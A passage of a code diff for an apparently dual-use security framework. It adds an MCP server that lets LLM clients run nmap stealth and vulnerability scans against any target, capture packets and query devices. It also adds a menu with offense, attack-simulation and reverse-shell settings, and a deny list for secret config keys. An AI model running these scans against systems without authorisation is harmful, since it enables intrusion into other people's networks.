'description': 'Domain or IP to look up', 'required': True}, + } + }) + + # ── Packet Capture ── + tools.append({ + 'name': 'packet_capture', + 'description': 'Capture network packets using tcpdump. Returns captured packet summary.', + 'params': { + 'interface': {'type': 'string', 'description': 'Network interface (e.g. eth0, wlan0)', 'required': False}, + 'count': {'type': 'integer', 'description': 'Number of packets to capture (default 10)', 'required': False}, + 'filter': {'type': 'string', 'description': 'BPF filter expression', 'required': False}, + } + }) + + # ── WireGuard Status ── + tools.append({ + 'name': 'wireguard_status', + 'description': 'Get WireGuard VPN tunnel status and peer information.', + 'params': {} + }) + + # ── UPnP Status ── + tools.append({ + 'name': 'upnp_status', + 'description': 'Get UPnP port mapping status.', + 'params': {} + }) + + # ── System Info ── + tools.append({ + 'name': 'system_info', + 'description': 'Get AUTARCH system information: hostname, platform, uptime, tool availability.', + 'params': {} + }) + + # ── LLM Chat ── + tools.append({ + 'name': 'llm_chat', + 'description': 'Send a message to the currently configured LLM backend and get a response.', + 'params': { + 'message': {'type': 'string', 'description': 'Message to send to the LLM', 'required': True}, + 'system_prompt': {'type': 'string', 'description': 'Optional system prompt', 'required': False}, + } + }) + + # ── Android Device Info ── + tools.append({ + 'name': 'android_devices', + 'description': 'List connected Android devices via ADB.', + 'params': {} + }) + + # ── Config Get/Set ── + tools.append({ + 'name': 'config_get', + 'description': 'Get an AUTARCH configuration value.', + 'params': { + 'section': {'type': 'string', 'description': 'Config section (e.g. autarch, llama, wireguard)', 'required': True}, + 'key': {'type': 'string', 'description': 'Config key', 'required': True}, + } + }) + + return tools + + +def execute_tool(name: str, arguments: dict) -> str: + """Execute an AUTARCH tool and return the result as a string.""" + config = get_config() + + if name == 'nmap_scan': + return _run_nmap(arguments, config) + elif name == 'geoip_lookup': + return _run_geoip(arguments) + elif name == 'dns_lookup': + return _run_dns(arguments) + elif name == 'whois_lookup': + return _run_whois(arguments) + elif name == 'packet_capture': + return _run_tcpdump(arguments) + elif name == 'wireguard_status': + return _run_wg_status(config) + elif name == 'upnp_status': + return _run_upnp_status(config) + elif name == 'system_info': + return _run_system_info() + elif name == 'llm_chat': + return _run_llm_chat(arguments, config) + elif name == 'android_devices': + return _run_adb_devices() + elif name == 'config_get': + return _run_config_get(arguments, config) + else: + return json.dumps({'error': f'Unknown tool: {name}'}) + + +def _run_nmap(args: dict, config) -> str: + nmap = find_tool('nmap') + if not nmap: + return json.dumps({'error': 'nmap not found'}) + + target = args.get('target', '') + if not target: + return json.dumps({'error': 'target is required'}) + + cmd = [str(nmap)] + scan_type = args.get('scan_type', 'quick') + if scan_type == 'stealth': + cmd.extend(['-sS', '-T2']) + elif scan_type == 'full': + cmd.extend(['-sV', '-sC', '-O']) + elif scan_type == 'vuln': + cmd.extend(['-sV', '--script=vuln']) + else: + cmd.extend(['-sV', '-T4']) + + ports = args.get('ports', '') + if ports: + cmd.extend(['-p', ports]) + + cmd.append(target) + + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) + return json.dumps({ + 'stdout': result.stdout, + 'stderr': result.stderr, + 'exit_code': result.returncode + }) + except subprocess.TimeoutExpired: + return json.dumps({'error': 'Scan timed out after 120 seconds'}) + except Exception as e: + return json.dumps({'error': str(e)}) + + +def _run_geoip(args: dict) -> str: + ip = args.get('ip', '') + if not ip: + return json.dumps({'error': 'ip is required'}) + + try: + import urllib.request + url = f"http://ip-api.com/json/{ip}?fields=status,message,country,regionName,city,zip,lat,lon,timezone,isp,org,as,query" + with urllib.request.urlopen(url, timeout=10) as resp: + return resp.read().decode() + except Exception as e: + return json.dumps({'error': str(e)}) + + +def _run_dns(args: dict) -> str: + domain = args.get('domain', '') + if not domain: + return json.dumps({'error': 'domain is required'}) + + record_type = args.get('record_type', 'A') + try: + result = subprocess.run( + ['dig', '+short', domain, record_type], + capture_output=True, text=True, timeout=10 + ) + records = [r for r in result.stdout.strip().split('\n') if r] + return json.dumps({'domain': domain, 'type': record_type, 'records': records}) + except FileNotFoundError: + # Fallback to socket for A records + try: + ips = socket.getaddrinfo(domain, None) + records = list(set(addr[4][0] for addr in ips)) + return json.dumps({'domain': domain, 'type': 'A', 'records': records}) + except Exception as e: + return json.dumps({'error': str(e)}) + except Exception as e: + return json.dumps({'error': str(e)}) + + +def _run_whois(args: dict) -> str: + target = args.get('target', '') + if not target: + return json.dumps({'error': 'target is required'}) + + try: + result = subprocess.run( + ['whois', target], + capture_output=True, text=True, timeout=15 + ) + return json.dumps({'target': target, 'output': result.stdout[:4000]}) + except FileNotFoundError: + return json.dumps({'error': 'whois command not found'}) + except Exception as e: + return json.dumps({'error': str(e)}) + + +def _run_tcpdump(args: dict) -> str: + tcpdump = find_tool('tcpdump') + if not tcpdump: + return json.dumps({'error': 'tcpdump not found'}) + + cmd = [str(tcpdump), '-n'] + iface = args.get('interface', '') + if iface: + cmd.extend(['-i', iface]) + + count = args.get('count', 10) + cmd.extend(['-c', str(count)]) + + bpf_filter = args.get('filter', '') + if bpf_filter: + cmd.append(bpf_filter) + + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + return json.dumps({ + 'stdout': result.stdout, + 'stderr': result.stderr, + 'exit_code': result.returncode + }) + except subprocess.TimeoutExpired: + return json.dumps({'error': 'Capture timed out'}) + except Exception as e: + return json.dumps({'error': str(e)}) + + +def _run_wg_status(config) -> str: + wg = find_tool('wg') + if not wg: + return json.dumps({'error': 'wg not found'}) + + iface = config.get('wireguard', 'interface', 'wg0') + try: + result = subprocess.run( + [str(wg), 'show', iface], + capture_output=True, text=True, timeout=10 + ) + return json.dumps({ + 'interface': iface, + 'output': result.stdout, + 'active': result.returncode == 0 + }) + except Exception as e: + return json.dumps({'error': str(e)}) + + +def _run_upnp_status(config) -> str: + upnpc = find_tool('upnpc') + if not upnpc: + return json.dumps({'error': 'upnpc not found'}) + + try: + result = subprocess.run( + [str(upnpc), '-l'], + capture_output=True, text=True, timeout=10 + ) + return json.dumps({ + 'output': result.stdout, + 'exit_code': result.returncode + }) + except Exception as e: + return json.dumps({'error': str(e)}) + + +def _run_system_info() -> str: + import platform + + info = { + 'hostname': socket.gethostname(), + 'platform': platform.platform(), + 'python': platform.python_version(), + 'arch': platform.machine(), + } + + try: + info['ip'] = socket.gethostbyname(socket.gethostname()) + except Exception: + info['ip'] = '127.0.0.1' + + try: + with open('/proc/uptime') as f: + uptime_secs = float(f.read().split()[0]) + days = int(uptime_secs // 86400) + hours = int((uptime_secs % 86400) // 3600) + info['uptime'] = f"{days}d {hours}h" + except Exception: + info['uptime'] = 'N/A' + + # Tool availability + tools = {} + for tool in ['nmap', 'tshark', 'tcpdump', 'upnpc', 'wg', 'adb']: + tools[tool] = find_tool(tool) is not None + info['tools'] = tools + + config = get_config() + info['llm_backend'] = config.get('autarch', 'llm_backend', 'local') + + return json.dumps(info) + + +def _run_llm_chat(args: dict, config) -> str: + message = args.get('message', '') + if not message: + return json.dumps({'error': 'message is required'}) + + try: + from core.llm import get_llm, LLMError + llm = get_llm() + if not llm.is_loaded: + llm.load_model() + + system_prompt = args.get('system_prompt', None) + response = llm.chat(message, system_prompt=system_prompt) + return json.dumps({ + 'response': response, + 'model': llm.model_name, + 'backend': config.get('autarch', 'llm_backend', 'local') + }) + except Exception as e: + return json.dumps({'error': str(e)}) + + +def _run_adb_devices() -> str: + adb = find_tool('adb') + if not adb: + return json.dumps({'error': 'adb not found'}) + + try: + result = subprocess.run( + [str(adb), 'devices', '-l'], + capture_output=True, text=True, timeout=10 + ) + lines = result.stdout.strip().split('\n')[1:] # Skip header + devices = [] + for line in lines: + if line.strip(): + parts = line.split() + if len(parts) >= 2: + dev = {'serial': parts[0], 'state': parts[1]} + # Parse extra info + for part in parts[2:]: + if ':' in part: + k, v = part.split(':', 1) + dev[k] = v + devices.append(dev) + return json.dumps({'devices': devices}) + except Exception as e: + return json.dumps({'error': str(e)}) + + +def _run_config_get(args: dict, config) -> str: + section = args.get('section', '') + key = args.get('key', '') + if not section or not key: + return json.dumps({'error': 'section and key are required'}) + + # Block sensitive keys + if key.lower() in ('api_key', 'password', 'secret_key', 'token'): + return json.dumps({'error': 'Cannot read sensitive configuration values'}) + + value = config.get(section, key, fallback='(not set)') + return json.dumps({'section': section, 'key': key, 'value': value}) + + +def create_mcp_server(): + """Create and return the FastMCP server instance.""" + from mcp.server.fastmcp import FastMCP + + mcp = FastMCP("autarch", instructions="AUTARCH security framework tools") + + # Register all tools + tool_defs = get_autarch_tools() + + @mcp.tool() + def nmap_scan(target: str, ports: str = "", scan_type: str = "quick") -> str: + """Run an nmap network scan against a target. Returns scan results including open ports and services.""" + return execute_tool('nmap_scan', {'target': target, 'ports': ports, 'scan_type': scan_type}) + + @mcp.tool() + def geoip_lookup(ip: str) -> str: + """Look up geographic and network information for an IP address.""" + return execute_tool('geoip_lookup', {'ip': ip}) + + @mcp.tool() + def dns_lookup(domain: str, record_type: str = "A") -> str: + """Perform DNS lookups for a domain. Supports A, AAAA, MX, NS, TXT, CNAME, SOA record types.""" + return execute_tool('dns_lookup', {'domain': domain, 'record_type': record_type}) + + @mcp.tool() + def whois_lookup(target: str) -> str: + """Perform WHOIS lookup for a domain or IP address.""" + return execute_tool('whois_lookup', {'target': target}) + + @mcp.tool() + def packet_capture(interface: str = "", count: int = 10, filter: str = "") -> str: + """Capture network packets using tcpdump. Returns captured packet summary.""" + return execute_tool('packet_capture', {'interface': interface, 'count': count, 'filter': filter}) + + @mcp.tool() + def wireguard_status() -> str: + """Get WireGuard VPN tunnel status and peer information.""" + return execute_tool('wireguard_status', {}) + + @mcp.tool() + def upnp_status() -> str: + """Get UPnP port mapping status.""" + return execute_tool('upnp_status', {}) + + @mcp.tool() + def system_info() -> str: + """Get AUTARCH system information: hostname, platform, uptime, tool availability.""" + return execute_tool('system_info', {}) + + @mcp.tool() + def llm_chat(message: str, system_prompt: str = "") -> str: + """Send a message to the currently configured LLM backend and get a response.""" + args = {'message': message} + if system_prompt: + args['system_prompt'] = system_prompt + return execute_tool('llm_chat', args) + + @mcp.tool() + def android_devices() -> str: + """List connected Android devices via ADB.""" + return execute_tool('android_devices', {}) + + @mcp.tool() + def config_get(section: str, key: str) -> str: + """Get an AUTARCH configuration value. Sensitive keys (api_key, password) are blocked.""" + return execute_tool('config_get', {'section': section, 'key': key}) + + return mcp + + +def run_stdio(): + """Run the MCP server in stdio mode (for Claude Desktop / Claude Code).""" + mcp = create_mcp_server() + mcp.run(transport='stdio') + + +def run_sse(host: str = '0.0.0.0', port: int = 8081): + """Run the MCP server in SSE (Server-Sent Events) mode for web clients.""" + mcp = create_mcp_server() + mcp.run(transport='sse', host=host, port=port) + + +def get_mcp_config_snippet() -> str: + """Generate the JSON config snippet for Claude Desktop / Claude Code.""" + app_dir = get_app_dir() + python = sys.executable + + config = { + "mcpServers": { + "autarch": { + "command": python, + "args": [str(app_dir / "core" / "mcp_server.py"), "--stdio"], + "env": {} + } + } + } + return json.dumps(config, indent=2) + + +def get_server_status() -> dict: + """Check if the MCP server is running.""" + global _server_process + if _server_process and _server_process.poll() is None: + return {'running': True, 'pid': _server_process.pid, 'mode': 'sse'} + return {'running': False} + + +def start_sse_server(host: str = '0.0.0.0', port: int = 8081) -> dict: + """Start the MCP SSE server in the background.""" + global _server_process + + status = get_server_status() + if status['running']: + return {'ok': False, 'error': f'Already running (PID {status["pid"]})'} + + python = sys.executable + script = str(Path(__file__).resolve()) + + _server_process = subprocess.Popen( + [python, script, '--sse', '--host', host, '--port', str(port)], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE + ) + + return {'ok': True, 'pid': _server_process.pid, 'host': host, 'port': port} + + +def stop_sse_server() -> dict: + """Stop the MCP SSE server.""" + global _server_process + + status = get_server_status() + if not status['running']: + return {'ok': False, 'error': 'Not running'} + + _server_process.terminate() + try: + _server_process.wait(timeout=5) + except subprocess.TimeoutExpired: + _server_process.kill() + _server_process = None + return {'ok': True} + + +if __name__ == '__main__': + import argparse + parser = argparse.ArgumentParser(description='AUTARCH MCP Server') + parser.add_argument('--stdio', action='store_true', help='Run in stdio mode (for Claude Desktop/Code)') + parser.add_argument('--sse', action='store_true', help='Run in SSE mode (for web clients)') + parser.add_argument('--host', default='0.0.0.0', help='SSE host (default: 0.0.0.0)') + parser.add_argument('--port', type=int, default=8081, help='SSE port (default: 8081)') + args = parser.parse_args() + + if args.sse: + print(f"Starting AUTARCH MCP server (SSE) on {args.host}:{args.port}") + run_sse(host=args.host, port=args.port) + else: + # Default to stdio + run_stdio() diff --git a/core/menu.py b/core/menu.py new file mode 100644 index 0000000..3b140aa --- /dev/null +++ b/core/menu.py @@ -0,0 +1,3049 @@ +""" +AUTARCH Main Menu System +Handles the main interface, categories, and module loading +""" + +import os +import sys +import importlib.util +from pathlib import Path +from typing import Dict, List, Optional, Callable + +from .banner import Colors, display_banner, clear_screen +from .config import get_config + + +# Module categories +CATEGORIES = { + "defense": { + "name": "Defense", + "description": "Defensive security tools and monitoring", + "color": Colors.BLUE + }, + "offense": { + "name": "Offense", + "description": "Offensive security and penetration testing", + "color": Colors.RED + }, + "counter": { + "name": "Counter", + "description": "Counter-intelligence and threat response", + "color": Colors.MAGENTA + }, + "analyze": { + "name": "Analyze", + "description": "Analysis and forensics tools", + "color": Colors.CYAN + }, + "osint": { + "name": "OSINT", + "description": "Open source intelligence gathering", + "color": Colors.GREEN + }, + "simulate": { + "name": "Simulate", + "description": "Attack simulation and red team exercises", + "color": Colors.YELLOW + }, + "hardware": { + "name": "Hardware", + "description": "Physical device access and flashing", + "color": Colors.YELLOW + }, + "core": { + "name": "Core", + "description": "Core framework modules", + "color": Colors.WHITE + } +} + + +class ModuleInfo: + """Information about a loaded module.""" + + def __init__(self, name: str, path: Path, module): + self.name = name + self.path = path + self.module = module + self.description = getattr(module, 'DESCRIPTION', 'No description') + self.author = getattr(module, 'AUTHOR', 'Unknown') + self.version = getattr(module, 'VERSION', '1.0') + self.category = getattr(module, 'CATEGORY', 'core').lower() + + +class MainMenu: + """Main menu handler for AUTARCH.""" + + def __init__(self): + from core.paths import get_app_dir + self._app_dir = get_app_dir() + self.config = get_config() + self.modules: Dict[str, ModuleInfo] = {} + self.running = True + + def print_status(self, message: str, status: str = "info"): + """Print a status message.""" + colors = { + "info": Colors.CYAN, + "success": Colors.GREEN, + "warning": Colors.YELLOW, + "error": Colors.RED + } + color = colors.get(status, Colors.WHITE) + symbols = { + "info": "*", + "success": "+", + "warning": "!", + "error": "X" + } + symbol = symbols.get(status, "*") + print(f"{color}[{symbol}] {message}{Colors.RESET}") + + def load_modules(self): + """Load all available modules from the modules directory. + + In a frozen (PyInstaller) build, scans both the bundled modules inside + _MEIPASS and the user modules directory next to the exe. User modules + override bundled modules with the same name. + """ + from core.paths import get_modules_dir, get_user_modules_dir, is_frozen + + # Collect module files — bundled first, then user (user overrides) + module_files: dict[str, Path] = {} + + bundled = get_modules_dir() + if bundled.exists(): + for f in bundled.glob("*.py"): + if not f.name.startswith("_") and f.stem != "setup": + module_files[f.stem] = f + + if is_frozen(): + user_dir = get_user_modules_dir() + if user_dir.exists(): + for f in user_dir.glob("*.py"): + if not f.name.startswith("_") and f.stem != "setup": + module_files[f.stem] = f # Override bundled + + for module_name, module_file in module_files.items(): + try: + spec = importlib.util.spec_from_file_location(module_name, module_file) + module = importlib.util.module_from_spec(spec) + spec.loader.exec_module(module) + + if hasattr(module, 'run'): + self.modules[module_name] = ModuleInfo(module_name, module_file, module) + else: + self.print_status(f"Module '{module_name}' missing run() function", "warning") + + except Exception as e: + self.print_status(f"Failed to load module '{module_name}': {e}", "error") + + def get_modules_by_category(self, category: str) -> Dict[str, ModuleInfo]: + """Get all modules in a specific category.""" + return { + name: info for name, info in self.modules.items() + if info.category == category + } + + def get_status_line(self) -> str: + """Get the status line showing model and MSF status.""" + # Import version from main module + try: + from autarch import VERSION + except ImportError: + VERSION = "?" + parts = [f"v{VERSION}"] + + # Model status - check based on backend + backend = self.config.get('autarch', 'llm_backend', 'local') + if backend == 'transformers': + model_path = self.config.get('transformers', 'model_path', '') + backend_label = "SafeTensors" + elif backend == 'claude': + model_path = self.config.get('claude', 'model', '') + backend_label = "Claude" + elif backend == 'huggingface': + model_path = self.config.get('huggingface', 'model', '') + backend_label = "HF Inference" + else: + model_path = self.config.get('llama', 'model_path', '') + backend_label = "GGUF" + + if model_path: + model_name = os.path.basename(model_path) + parts.append(f"Model: {model_name} ({backend_label})") + else: + parts.append(f"{Colors.YELLOW}Model: Not configured{Colors.RESET}") + + # MSF status + from .msf import get_msf_manager + msf = get_msf_manager() + if msf.is_connected: + parts.append(f"{Colors.GREEN}MSF: Connected{Colors.RESET}") + else: + parts.append(f"{Colors.DIM}MSF: Disconnected{Colors.RESET}") + + # RSF status + try: + from .rsf import get_rsf_manager + rsf = get_rsf_manager() + if rsf.is_available: + parts.append(f"{Colors.GREEN}RSF: Available{Colors.RESET}") + else: + parts.append(f"{Colors.DIM}RSF: Not Found{Colors.RESET}") + except Exception: + parts.append(f"{Colors.DIM}RSF: Not Found{Colors.RESET}") + + return f"{Colors.DIM} | {Colors.RESET}".join(parts) + + def _show_banner(self): + """Display banner unless disabled in settings.""" + if not self.config.get_bool('autarch', 'no_banner', fallback=False): + display_banner() + + def display_menu(self): + """Display the main menu.""" + clear_screen() + self._show_banner() + + # Status line + print(f"{Colors.DIM}{self.get_status_line()}{Colors.RESET}") + print() + + # Main menu options + print(f"{Colors.BOLD}{Colors.WHITE} Main Menu{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Category options + print(f" {Colors.BLUE}[1]{Colors.RESET} Defense {Colors.DIM}- Defensive security tools{Colors.RESET}") + print(f" {Colors.RED}[2]{Colors.RESET} Offense {Colors.DIM}- Penetration testing{Colors.RESET}") + print(f" {Colors.MAGENTA}[3]{Colors.RESET} Counter {Colors.DIM}- Counter-intelligence{Colors.RESET}") + print(f" {Colors.CYAN}[4]{Colors.RESET} Analyze {Colors.DIM}- Analysis & forensics{Colors.RESET}") + print(f" {Colors.GREEN}[5]{Colors.RESET} OSINT {Colors.DIM}- Open source intelligence{Colors.RESET}") + print(f" {Colors.YELLOW}[6]{Colors.RESET} Simulate {Colors.DIM}- Attack simulation{Colors.RESET}") + print() + print(f" {Colors.RED}[7]{Colors.RESET} Agent Hal {Colors.DIM}- AI-powered security automation{Colors.RESET}") + print() + print(f" {Colors.GREEN}[8]{Colors.RESET} Web Service {Colors.DIM}- Start/stop web dashboard{Colors.RESET}") + print(f" {Colors.CYAN}[9]{Colors.RESET} Sideload App {Colors.DIM}- Push Archon to Android device{Colors.RESET}") + print(f" {Colors.YELLOW}[10]{Colors.RESET} MCP Server {Colors.DIM}- Model Context Protocol tools{Colors.RESET}") + print(f" {Colors.WHITE}[11]{Colors.RESET} User Manual {Colors.DIM}- In-depth guide & documentation{Colors.RESET}") + print(f" {Colors.DIM}[12]{Colors.RESET} List Modules {Colors.DIM}- Show all loaded modules{Colors.RESET}") + print() + print(f" {Colors.DIM}[99]{Colors.RESET} Settings") + print(f" {Colors.DIM}[98]{Colors.RESET} Exit") + print() + + def display_category_menu(self, category: str): + """Display the submenu for a category.""" + cat_info = CATEGORIES.get(category, CATEGORIES['core']) + cat_modules = self.get_modules_by_category(category) + + clear_screen() + self._show_banner() + + print(f"{cat_info['color']}{Colors.BOLD} {cat_info['name']}{Colors.RESET}") + print(f"{Colors.DIM} {cat_info['description']}{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + if not cat_modules: + print(f" {Colors.YELLOW}No modules in this category.{Colors.RESET}") + print(f" {Colors.DIM}Add modules with CATEGORY = '{category}'{Colors.RESET}") + else: + module_list = list(cat_modules.keys()) + for i, name in enumerate(module_list, 1): + info = cat_modules[name] + print(f" {cat_info['color']}[{i}]{Colors.RESET} {name}") + print(f" {Colors.DIM}{info.description}{Colors.RESET}") + + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back to main menu") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + return + + if cat_modules: + module_list = list(cat_modules.keys()) + try: + index = int(choice) - 1 + if 0 <= index < len(module_list): + self.run_module(module_list[index]) + except ValueError: + if choice in cat_modules: + self.run_module(choice) + + except (EOFError, KeyboardInterrupt): + print() + + def run_module(self, module_name: str): + """Run a specific module.""" + if module_name not in self.modules: + self.print_status(f"Module '{module_name}' not found", "error") + return + + module_info = self.modules[module_name] + + clear_screen() + self._show_banner() + print(f"{Colors.GREEN}[+] Running module: {module_name}{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + try: + module_info.module.run() + except Exception as e: + self.print_status(f"Module error: {e}", "error") + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def show_settings(self): + """Display settings menu.""" + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Settings{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + print(f" {Colors.CYAN}[1]{Colors.RESET} LLM Settings") + print(f" {Colors.CYAN}[2]{Colors.RESET} Metasploit Settings") + print(f" {Colors.CYAN}[3]{Colors.RESET} Database Management") + print(f" {Colors.CYAN}[4]{Colors.RESET} Custom APIs") + print(f" {Colors.CYAN}[5]{Colors.RESET} AUTARCH API") + print(f" {Colors.CYAN}[6]{Colors.RESET} OSINT Settings") + print(f" {Colors.CYAN}[7]{Colors.RESET} RouterSploit Settings") + print(f" {Colors.CYAN}[8]{Colors.RESET} UPnP Settings") + print(f" {Colors.CYAN}[9]{Colors.RESET} Reverse Shell Settings") + print(f" {Colors.CYAN}[10]{Colors.RESET} Display Settings") + print(f" {Colors.CYAN}[11]{Colors.RESET} Load Config File") + print() + print(f" {Colors.DIM}[12]{Colors.RESET} View All Settings") + print(f" {Colors.DIM}[13]{Colors.RESET} Run Setup Wizard") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + break + elif choice == "1": + self.show_llm_settings() + elif choice == "2": + self.show_msf_settings() + elif choice == "3": + self.show_database_management() + elif choice == "4": + self.show_custom_apis() + elif choice == "5": + self.show_autarch_api() + elif choice == "6": + self.show_osint_settings() + elif choice == "7": + self.show_rsf_settings() + elif choice == "8": + self.show_upnp_settings() + elif choice == "9": + self.show_revshell_settings() + elif choice == "10": + self.show_display_settings() + elif choice == "11": + self.load_config_file() + elif choice == "12": + self.show_all_settings() + elif choice == "13": + self.run_setup() + + except (EOFError, KeyboardInterrupt): + break + + def show_llm_settings(self): + """Display and configure LLM settings.""" + while True: + clear_screen() + self._show_banner() + + backend = self.config.get('autarch', 'llm_backend', 'local') + + print(f"{Colors.BOLD}{Colors.WHITE} LLM Configuration{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Display backend-specific settings + if backend == 'transformers': + settings = self.config.get_transformers_settings() + print(f" {Colors.YELLOW}Backend: transformers (SafeTensors){Colors.RESET}") + print() + model_name = Path(settings['model_path']).name if settings['model_path'] else "(not set)" + print(f" {Colors.CYAN}Model:{Colors.RESET} {model_name}") + print(f" {Colors.CYAN}Device:{Colors.RESET} {settings['device']}") + print(f" {Colors.CYAN}Load in 8-bit:{Colors.RESET} {settings['load_in_8bit']}") + print(f" {Colors.CYAN}Load in 4-bit:{Colors.RESET} {settings['load_in_4bit']}") + print(f" {Colors.CYAN}Temperature:{Colors.RESET} {settings['temperature']}") + print(f" {Colors.CYAN}Top P:{Colors.RESET} {settings['top_p']}") + print(f" {Colors.CYAN}Top K:{Colors.RESET} {settings['top_k']}") + print(f" {Colors.CYAN}Repetition Penalty:{Colors.RESET} {settings['repetition_penalty']}") + print(f" {Colors.CYAN}Max Tokens:{Colors.RESET} {settings['max_tokens']}") + elif backend == 'claude': + settings = self.config.get_claude_settings() + print(f" {Colors.YELLOW}Backend: Claude API{Colors.RESET}") + print() + print(f" {Colors.CYAN}Model:{Colors.RESET} {settings['model']}") + print(f" {Colors.CYAN}API Key:{Colors.RESET} {'***configured***' if settings['api_key'] else '(not set)'}") + print(f" {Colors.CYAN}Max Tokens:{Colors.RESET} {settings['max_tokens']}") + print(f" {Colors.CYAN}Temperature:{Colors.RESET} {settings['temperature']}") + elif backend == 'huggingface': + settings = self.config.get_huggingface_settings() + print(f" {Colors.YELLOW}Backend: HuggingFace Inference API{Colors.RESET}") + print() + print(f" {Colors.CYAN}Model:{Colors.RESET} {settings['model']}") + print(f" {Colors.CYAN}Endpoint:{Colors.RESET} {settings['endpoint'] or '(HuggingFace Hub)'}") + print(f" {Colors.CYAN}API Key:{Colors.RESET} {'***configured***' if settings['api_key'] else '(not set / free tier)'}") + print(f" {Colors.CYAN}Max Tokens:{Colors.RESET} {settings['max_tokens']}") + print(f" {Colors.CYAN}Temperature:{Colors.RESET} {settings['temperature']}") + print(f" {Colors.CYAN}Top P:{Colors.RESET} {settings['top_p']}") + else: # llama.cpp / GGUF + settings = self.config.get_llama_settings() + print(f" {Colors.YELLOW}Backend: llama.cpp (GGUF){Colors.RESET}") + print() + model_name = Path(settings['model_path']).name if settings['model_path'] else "(not set)" + print(f" {Colors.CYAN}Model:{Colors.RESET} {model_name}") + print(f" {Colors.CYAN}Context Size:{Colors.RESET} {settings['n_ctx']} tokens") + print(f" {Colors.CYAN}Threads:{Colors.RESET} {settings['n_threads']}") + print(f" {Colors.CYAN}GPU Layers:{Colors.RESET} {settings['n_gpu_layers']}") + print(f" {Colors.CYAN}Temperature:{Colors.RESET} {settings['temperature']}") + print(f" {Colors.CYAN}Top P:{Colors.RESET} {settings['top_p']}") + print(f" {Colors.CYAN}Top K:{Colors.RESET} {settings['top_k']}") + print(f" {Colors.CYAN}Repeat Penalty:{Colors.RESET} {settings['repeat_penalty']}") + print(f" {Colors.CYAN}Max Tokens:{Colors.RESET} {settings['max_tokens']}") + print() + + # Check if model is loaded + from .llm import get_llm + llm = get_llm() + if llm.is_loaded: + print(f" {Colors.GREEN}Status: Model loaded{Colors.RESET}") + else: + print(f" {Colors.YELLOW}Status: Model not loaded{Colors.RESET}") + print() + + print(f" {Colors.CYAN}[1]{Colors.RESET} Set Model Path") + if backend != 'transformers': + print(f" {Colors.CYAN}[2]{Colors.RESET} Set Context Size") + print(f" {Colors.CYAN}[3]{Colors.RESET} Set Threads") + print(f" {Colors.CYAN}[4]{Colors.RESET} Set GPU Layers") + else: + print(f" {Colors.CYAN}[2]{Colors.RESET} Set Device") + print(f" {Colors.CYAN}[3]{Colors.RESET} Set Quantization") + print(f" {Colors.CYAN}[5]{Colors.RESET} Set Temperature") + print(f" {Colors.CYAN}[6]{Colors.RESET} Set Top P / Top K") + print(f" {Colors.CYAN}[7]{Colors.RESET} Set Repeat Penalty") + print(f" {Colors.CYAN}[8]{Colors.RESET} Set Max Tokens") + print() + print(f" {Colors.CYAN}[L]{Colors.RESET} Load/Reload Model") + print(f" {Colors.CYAN}[U]{Colors.RESET} Unload Model") + print(f" {Colors.CYAN}[S]{Colors.RESET} Switch Backend") + print() + print(f" {Colors.GREEN}[T]{Colors.RESET} Load Hardware Template") + print(f" {Colors.GREEN}[C]{Colors.RESET} Load Custom Config") + print(f" {Colors.GREEN}[W]{Colors.RESET} Save Current as Custom Config") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == "0" or not choice: + break + elif choice == "1": + self._set_llm_model_path() + elif choice == "2": + if backend != 'transformers': + self._set_llm_context_size() + else: + self._set_transformers_device() + elif choice == "3": + if backend != 'transformers': + self._set_llm_threads() + else: + self._set_transformers_quantization() + elif choice == "4" and backend != 'transformers': + self._set_llm_gpu_layers() + elif choice == "5": + self._set_llm_temperature() + elif choice == "6": + self._set_llm_sampling() + elif choice == "7": + self._set_llm_repeat_penalty() + elif choice == "8": + self._set_llm_max_tokens() + elif choice == "l": + self._load_llm_model() + elif choice == "u": + self._unload_llm_model() + elif choice == "s": + self._switch_llm_backend() + elif choice == "t": + self._load_hardware_template() + elif choice == "c": + self._load_custom_config() + elif choice == "w": + self._save_custom_config() + + except (EOFError, KeyboardInterrupt): + break + + def _set_llm_model_path(self): + """Set LLM model path (GGUF file or SafeTensors directory).""" + print() + backend = self.config.get('autarch', 'llm_backend', 'local') + if backend == 'transformers': + current = self.config.get('transformers', 'model_path', '') + else: + current = self.config.get('llama', 'model_path', '') + + if current: + print(f" {Colors.DIM}Current: {current}{Colors.RESET}") + print(f" {Colors.DIM}Enter path to GGUF file, SafeTensors directory, or HuggingFace model ID{Colors.RESET}") + print(f" {Colors.DIM}Examples: /path/to/model.gguf, models/MyModel, org/model-name{Colors.RESET}") + print() + + try: + path = input(f" {Colors.WHITE}Model path: {Colors.RESET}").strip() + if path: + # Strip quotes from path + path = path.strip('"').strip("'") + path = os.path.expanduser(path) + + # Resolve the path - try multiple options + resolved_path = self._resolve_model_path(path) + + if resolved_path: + # Detect model type + from .llm import detect_model_type + model_type = detect_model_type(resolved_path) + + if model_type == 'gguf': + self.config.set('llama', 'model_path', resolved_path) + self.config.set('autarch', 'llm_backend', 'local') + self.config.save() + self.print_status(f"GGUF model set: {Path(resolved_path).name}", "success") + # Reset LLM instance to use new backend + from .llm import reset_llm + reset_llm() + elif model_type == 'transformers': + self.config.set('transformers', 'model_path', resolved_path) + self.config.set('autarch', 'llm_backend', 'transformers') + self.config.save() + self.print_status(f"SafeTensors model set: {Path(resolved_path).name}", "success") + # Reset LLM instance to use new backend + from .llm import reset_llm + reset_llm() + else: + 